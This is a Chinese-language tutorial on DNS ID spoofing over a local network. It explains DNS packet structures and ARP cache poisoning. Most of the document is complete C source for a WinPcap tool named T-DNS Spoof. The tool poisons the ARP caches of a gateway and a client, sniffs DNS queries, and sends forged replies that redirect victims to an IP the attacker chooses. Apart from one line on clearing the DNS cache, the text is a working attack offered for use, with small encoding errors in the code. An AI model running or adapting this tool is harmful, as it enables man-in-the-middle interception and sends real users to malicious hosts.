域名系統(DNS)是一種用於TCP/IP應用程序的分佈式數據庫,它提供主機名字和IP地址之間的轉換信息。通常,網絡用戶通過UDP協議和DNS服務器進行通信,而服務器在特定的53 端口監聽,並返回用戶所需的相關信息。
一.DNS協議的相關數據結構
DNS數據報:
typedef struct dns
{
unsigned short id;
//標識,通過它客戶端可以將DNS的請求與應答相匹配;
unsigned short flags;
//標誌:[QR | opcode | AA| TC| RD| RA | zero | rcode ]
unsigned short quests;
//問題數目;
unsigned short answers;
//資源記錄數目;
unsigned short author;
//授權資源記錄數目;
unsigned short addition;
//額外資源記錄數目;
}DNS,*PDNS;
在16位的標誌中:QR位判斷是查詢/響應報文,opcode區別查詢類型,AA判斷是否爲授權回答,TC判斷是否可截斷,RD判斷是否期望遞歸查詢,RA判斷是否爲可用遞歸,zero必須爲0,rcode爲返回碼字段。
DNS查詢數據報:
typedef struct query
{
unsinged char *name;
//查詢的域名,這是一個大小在0到63之間的字符串;
unsigned short type;
//查詢類型,大約有20個不同的類型
unsigned short classes;
//查詢類,通常是A類既查詢IP地址。
}QUERY,*PQUERY;
DNS響應數據報:
typedef struct response
{
unsigned short name;
//查詢的域名
unsigned short type;
//查詢類型
unsigned short classes;
//類型碼
unsigned int ttl;
//生存時間
unsigned short length;
//資源數據長度
unsigned int addr;
//資源數據
}RESPONSE,*PRESPONSE;
二.Windows下DNS ID欺騙的原理
我們可以看到,在DNS數據報頭部的id(標識)是用來匹配響應和請求數據報的。現在,讓我們來看看域名解析的整個過程。客戶端首先以特定的標識向DNS服務器發送域名查詢數據報,在DNS服務器查詢之後以相同的ID號給客戶端發送域名響應數據報。這時客戶端會將收到的DNS響應數據報的ID和自己發送的查詢數據報ID相比較,如果匹配則表明接收到的正是自己等待的數據報,如果不匹配則丟棄之。
假如我們能夠僞裝DNS服務器提前向客戶端發送響應數據報,那麼客戶端的DNS緩存裏域名所對應的IP就是我們自定義的IP了,同時客戶端也就被帶到了我們希望的網站。條件只有一個,那就是我們發送的ID匹配的DSN響應數據報在DNS服務器發送的響應數據報之前到達客戶端。下圖清楚的展現了DNS ID欺騙的過程:
Client <--response--| . . . . . .. . . . . . . . . . DNS Server
|<--[a.b.c == 112.112.112.112]-- Your Computer
到此,我想大家都知道了DNS ID欺騙的實質了,那麼如何才能實現呢?這要分兩種情況:
1. 本地主機與DNS服務器,本地主機與客戶端主機均不在同一個局域網內,方法有以下幾種:向客戶端主機隨機發送大量DNS響應數據報,命中率很低;向DNS服務器發起拒絕服務***,太粗魯;BIND漏洞,使用範圍比較窄。
2. 本地主機至少與DNS服務器或客戶端主機中的某一臺處在同一個局域網內:我們可以通過ARP欺騙來實現可靠而穩定的DNS ID欺騙,下面我們將詳細討論這種情況。
首先我們進行DNS ID欺騙的基礎是ARP欺騙,也就是在局域網內同時欺騙網關和客戶端主機(也可能是欺騙網關和DNS服務器,或欺騙DNS服務器和客戶端主機)。我們以客戶端的名義向網關發送ARP響應數據報,不過其中將源MAC地址改爲我們自己主機的MAC地址;同時以網關的名義向客戶端主機發送ARP響應數據報,同樣將源MAC地址改爲我們自己主機的MAC地址。這樣以來,網關看來客戶端的MAC地址就是我們主機的MAC地址;客戶端也認爲網關的MAC地址爲我們主機的MAC地址。由於在局域網內數據報的傳送是建立在MAC地址之上了,所以網關和客戶端之間的數據流通必須先通過本地主機。
在監視網關和客戶端主機之間的數據報時,如果發現了客戶端發送的DNS查詢數據報(目的端口爲53),那麼我們可以提前將自己構造的DNS響應數據報發送到客戶端。注意,我們必須提取有客戶端發送來的DNS查詢數據報的ID信息,因爲客戶端是通過它來進行匹配認證的,這就是一個我們可以利用的DNS漏洞。這樣客戶端會先收到我們發送的DNS響應數據報並訪問我們自定義的網站,雖然客戶端也會收到DNS服務器的響應報文,不過已經來不及了,哈哈。
三.核心代碼分析
主程序創建兩個線程,一個線程進行實時的ARP欺騙,另一個線程監聽接收到的數據報,若發現有域名服務查詢數據報,則立即向客戶端發送自定義的DSN響應數據報。測試環境:Windows2000 + VC6.0 + Winpcap_3.0_alpha,註冊表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1。
1.sniff線程:
PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);
//將網卡設置爲混雜模式
PacketSetBuff(lpadapter,500*1024);
//設置網絡適配器的內核緩存;
PacketSetReadTimeout(lpadapter,1);
//設置等待時間;
PacketReceivePacket(lpadapter,lppacketr,TRUE);
//接收網絡數據報;
checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
//計算校驗和;
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
//初始化一個_PACKET結構,發送DNS響應數據報;
2.arpspoof線程;
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
//初始化ARP響應數據報;
PacketSendPacket(lpadapter,lppackets,TRUE);
//發送ARP欺騙的響應數據報;
3.getmac()函數
GetAdaptersInfo(padapterinfo,&adapterinfosize);
//獲取網絡適配器的屬性;
SendARP(destip,0,pulmac,&ullen);
//發送ARP請求數據報,過去網絡主機的MAC地址;
4.main()函數
PacketGetAdapterNames((char *)adaptername,&adapterlength);
//獲得本地主機的網絡適配器列表和描述;
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
//打開指定的網絡適配器;
CreateThread(NULL,0,sniff,NULL,0,&threadrid);
CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
//創建兩個線程;
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
//等待其中的某個線程結束;
四.小結與後記
局域網內的網絡安全是一個值得大家關注的問題,往往容易發起各種欺騙***,這是局域網自身的屬性所決定的--網絡共享。本文所講解的DNS ID欺騙是基於ARP欺騙之上的網絡***,如果在廣域網上,則比較麻煩。不過也有一些例外情況:如果IE中使用代理服務器,欺騙不能進行,因爲這時客戶端並不會在本地進行域名請求;如果你訪問的不是網站主頁,而是相關子目錄的文件,這樣你在自定義的網站上不會找到相關的文件,登陸以失敗告終。如果你不幸被欺騙了,先禁用本地連接,然後啓用本地連接就可以清除DNS緩存。
五.附件源代碼
#include <packet32.h>
#include <iphlpapi.h>
#include <stdio.h>
#define ETH_IP 0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY 0x0002
#define ARP_HARDWARE 0x0001
#define MAX_NUM_ADAPTER 10
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char protocol;
unsigned short checksum;
unsigned int sourceip;
unsigned int destip;
}IPHDR,*PIPHDR;
typedef struct psd
{
unsigned int saddr;
unsigned int daddr;
char mbz;
char ptcl;
unsigned short udpl;
}PSD,*PPSD;
typedef struct udphdr
{
unsigned short souceport;
unsigned short destport;
unsigned short length;
unsigned short checksum;
}UDPHDR,*PUDPHDR;
typedef struct dns
{
unsigned short id;
unsigned short flags;
unsigned short quests;
unsigned short answers;
unsigned short author;
unsigned short addition;
}DNS,*PDNS;
typedef struct query
{
unsigned short type;
unsigned short classes;
}QUERY,*PQUERY;
typedef struct response
{
unsigned short name;
unsigned short type;
unsigned short classes;
unsigned int ttl;
unsigned short length;
unsigned int addr;
}RESPONSE,*PRESPONSE;
#pragma pack(pop)
unsigned short checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=sizeof(unsigned short);
}
if(size)
cksum+=*buffer;
cksum=(cksum>>16)+(cksum & 0xffff);
cksum+=(cksum>>16);
return (unsigned short)(~cksum);
}
LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
IPAddr myip,firstip,secondip,virtualip;
UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0};
char adapterlist[MAX_NUM_ADAPTER][1024];
void start()
{
printf("===[ T-DNS Spoof, by TOo2y ]===\n");
printf("===[ [email protected] ]===\n");
printf("===[ Homepage: www.safechina.net ]===\n");
printf("===[ Date: 10-15-2002 ]===\n\n");
return;
}
void usage()
{
printf("Usage: T-DNS Firstip Secondip Virtualip\n");
return;
}
DWORD WINAPI sniff(LPVOID no)
{
printf("\nI am sniffing...\n");
char *buf;
char *pchar;
char temp[1024];
char sendbuf[1024];
char recvbuf[1024*250];
struct bpf_hdr *hdr;
unsigned char *dname;
unsigned long ulbytesreceived,off,ulen;
ETHDR ethr,eths;
IPHDR ipr,ips;
PSD psds;
UDPHDR udpr,udps;
DNS dnsr,dnss;
QUERY queryr,querys;
RESPONSE responses;
if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode!\n");
}
if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %d\n",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout!\n");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Receive Error: %d\n",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
while(1)
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
break;
}
ulbytesreceived=lppacketr->ulBytesReceived;
buf=(char *)lppacketr->Buffer;
off=0;
while(off<ulbytesreceived)
{
hdr=(struct bpf_hdr *)(buf+off);
off+=hdr->bh_hdrlen;
pchar=(char *)(buf+off);
off=Packet_WORDALIGN(off+hdr->bh_caplen);
ethr=*(ETHDR *)pchar;
if(ethr.eh_type==htons(ETH_IP))
{
ipr=*(IPHDR *)(pchar+sizeof(ETHDR));
if(ipr.protocol!=17)
{
continue;
}
if((ipr.sourceip!=secondip) && (ipr.sourceip!=firstip))
{
continue;
}
udpr=*(UDPHDR *)(pchar+sizeof(ETHDR)+sizeof(IPHDR));
ulen=ntohs(udpr.length)-sizeof(UDPHDR)-sizeof(DNS)-sizeof(QUERY);
dname=(unsigned char *)malloc(ulen*sizeof(unsigned char));
if(udpr.destport==htons(53))
{
printf("Get a DNS Packet...\t");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(&dnsr,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),sizeof(DNS));
memcpy(dname,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),ulen);
memcpy(&queryr.type,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,2);
memcpy(&queryr.classes,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+2,2);
responses.name=htons(0xC00C);
responses.type=queryr.type;
responses.classes=queryr.classes;
responses.ttl=0xFFFFFFFF;
responses.length=htons(4);
responses.addr=virtualip;
querys.classes=queryr.classes;
querys.type=queryr.type;
dnss.id=dnsr.id;
dnss.flags=htons(0x8180);
dnss.quests=htons(1);
dnss.answers=htons(1);
dnss.author=0;
dnss.addition=0;
udps.souceport=udpr.destport;
udps.destport=udpr.souceport;
udps.length=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
udps.checksum=0;
ips.h_lenver=(4<<4|sizeof(IPHDR)/sizeof(unsigned int));
ips.tos=0;
ips.total_len=ntohs(sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
ips.ident=htons(12345);
ips.frag_and_flags=0;
ips.ttl=255;
ips.protocol=IPPROTO_UDP;
ips.checksum=0;
ips.sourceip=ipr.destip;
ips.destip=ipr.sourceip;
psds.saddr=ips.sourceip;
psds.daddr=ips.destip;
psds.mbz=0;
psds.ptcl=IPPROTO_UDP;
psds.udpl=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
memset(temp,0,sizeof(temp));
memcpy(temp,&psds,sizeof(PSD));
memcpy(temp+sizeof(PSD),&udps,sizeof(UDPHDR));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR),&dnss,sizeof(DNS));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen);
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY));
memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE));
udps.checksum=checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
memset(temp,0,sizeof(temp));
memcpy(temp,&ips,sizeof(IPHDR));
ips.checksum=checksum((USHORT *)temp,sizeof(IPHDR));
eths.eh_type=ethr.eh_type;
memcpy(ðs.eh_src,ðr.eh_dst,6);
memcpy(ðs.eh_dst,ðr.eh_src,6);
memcpy(sendbuf,ðs,sizeof(ETHDR));
memcpy(sendbuf+sizeof(ETHDR),&ips,sizeof(IPHDR));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR),&udps,sizeof(UDPHDR));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),&dnss,sizeof(DNS));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen);
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY));
memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE));
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in DNS Spoof Error: %d\n",GetLastError());
break;
}
printf("Send DNS Spoof Packet Successfully!\n");
}
}
}
}
return 0;
}
DWORD WINAPI arpspoof(LPVOID no)
{
printf("I am arpspoofing...\n\n");
char sendbuf[1024];
struct sockaddr_in fsin,ssin;
ETHDR eth;
ARPHDR arp;
fsin.sin_addr.s_addr=firstip;
ssin.sin_addr.s_addr=secondip;
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
do
{
memcpy(eth.eh_dst,fmac,6);
memcpy(arp.arp_tha,fmac,6);
arp.arp_tpa=firstip;
arp.arp_spa=secondip;
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %d\n",GetLastError());
return -1;
}
Sleep(500);
memcpy(eth.eh_dst,smac,6);
memcpy(arp.arp_tha,smac,6);
arp.arp_tpa=secondip;
arp.arp_spa=firstip;
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %d\n",GetLastError());
return -1;
}
Sleep(500);
}while(1);
return 0;
}
BOOL getmac()
{
HRESULT hr;
IPAddr destip;
ULONG pulmac[2];
ULONG ullen;
DWORD err;
DWORD fixedinfosize=0;
DWORD adapterinfosize=0;
PIP_ADAPTER_INFO padapterinfo;
PIP_ADDR_STRING paddrstr;
if((err=GetAdaptersInfo(NULL,&adapterinfosize))!=0)
{
if(err!=ERROR_BUFFER_OVERFLOW)
{
printf("GetAdapterInfo size Error: %d\n",GetLastError());
return FALSE;
}
}
if((padapterinfo=(PIP_ADAPTER_INFO)GlobalAlloc(GPTR,adapterinfosize))==NULL)
{
printf("Memory allocation Error: %d\n",GetLastError());
return FALSE;
}
if((err=GetAdaptersInfo(padapterinfo,&adapterinfosize))!=0)
{
printf("GetAdaptersInfo Error: %d\n",GetLastError());
return FALSE;
}
memcpy(mmac,padapterinfo->Address,6);
paddrstr=&(padapterinfo->IpAddressList);
myip=inet_addr(paddrstr->IpAddress.String);
ullen=6;
memset(pulmac,0xff,sizeof(pulmac));
destip=firstip;
if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
{
printf("SendARP firstip Error: %d\n",GetLastError());
return FALSE;
}
memcpy(fmac,pulmac,6);
memset(pulmac,0xff,sizeof(pulmac));
destip=secondip;
if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
{
printf("SendARP secondip Error: %d\n",GetLastError());
return FALSE;
}
memcpy(smac,pulmac,6);
return TRUE;
}
int main(int argc,char *argv[])
{
HANDLE thread[2];
WCHAR adaptername[8192];
WCHAR *name1,*name2;
ULONG adapterlength;
DWORD threadsid,threadrid;
int adapternum=0,open,i;
system("cls.exe");
start();
if(argc!=4)
{
usage();
return -1;
}
firstip=inet_addr(argv[1]);
secondip=inet_addr(argv[2]);
virtualip=inet_addr(argv[3]);
if(getmac()==FALSE)
{
return -1;
}
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
{
printf("PacketGetAdapterNames Error: %d\n",GetLastError());
return -1;
}
name1=adaptername;
name2=adaptername;
i=0;
while((*name1!='\0') || (*(name1-1)!='\0'))
{
if(*name1=='\0')
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf("Adapters Installed: \n");
for(i=0;i<adapternum;i++)
{
wprintf(L"%d - %s\n",i+1,adapterlist[i]);
}
do
{
printf("\nSelect the number of the adapter to open: ");
scanf("%d",&open);
if(open>=1 && open<=adapternum)
break;
}while(open<1 || open>adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error: %d\n",GetLastError());
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Send Error: %d\n",GetLastError());
return -1;
}
thread[0]=CreateThread(NULL,0,sniff,NULL,0,&threadrid);
if(thread[0]==NULL)
{
printf("CreateThread for sniffer Error: %d\n",GetLastError());
return -1;
}
thread[1]=CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
if(thread[1]==NULL)
{
printf("CreateThread for arpspoof Error: %d\n",GetLastError());
return -1;
}
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
CloseHandle(thread[0]);
CloseHandle(thread[1]);
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return 0;
}